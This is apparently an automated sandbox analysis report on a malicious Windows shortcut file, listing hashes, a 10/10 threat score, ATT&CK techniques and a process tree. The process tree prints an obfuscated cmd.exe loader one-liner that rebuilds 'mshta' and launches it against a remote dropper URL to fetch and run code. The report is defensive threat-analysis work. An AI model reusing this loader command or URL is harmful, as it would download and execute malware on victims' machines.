ae1a5ed8fd89f9b9e486bacece85b43a0581ed851be9ac5a252069532a5498e1

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:35

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General

Target
DOC-DWW91I.lnk
Size 2KB
Sample260804-khd9ba1vbt
SHA256 ae1a5ed8fd89f9b9e486bacece85b43a0581ed851be9ac5a252069532a5498e1
MD5 418a260f013ef08cbb73dd94706d253a
SHA1 636020a9d2836a44521238977af64f64ba5b0f66
SHA512 e06f59499996428042a9bdabbb36bad7c7ed3421f94dfbd5f8ae2aee5830f6c55a39625c0493d866ee1317b9e424e0cbfa41b830a582b0974f1131c91f6cfaab
TLSH
T1F94127803BF904E8F2BB9E36EDBE67584D7FB9454E35C68D4580810E0822B01D537B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3340	cmd.exe
4860	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 4860	3340	cmd.exe	90
PID 4860 wrote to memory of 4068	4860	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DWW91I.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3340
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set ZkFA=oldfjgidaptogzbjihtold&set vr=oldpiwnklsoftbejbhyold&set KlsH=winolerxybejwin&set eVT=dbgpewvrdbg&set pRPT=mifmse1&&set YycFQ=f19htam4&&set YLs=ea0&set dKZ=cacheswrlancache&set TynIZ=oldsnaonvufpatiold&set an=oldugiacgbzepxqqold&set SLLl=3std&&set PNsv=yarg&&set zelc=rutytp&&set SD=h@t@t@ps:@//@m@a@-@pdf@f@[email protected]@t/h/@est@[email protected]?r@=39@1@469FB@5D8@2DB&&start /b !pRPT:~3,2!!YycFQ:~3,2!!YLs:~1,1! !SD:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads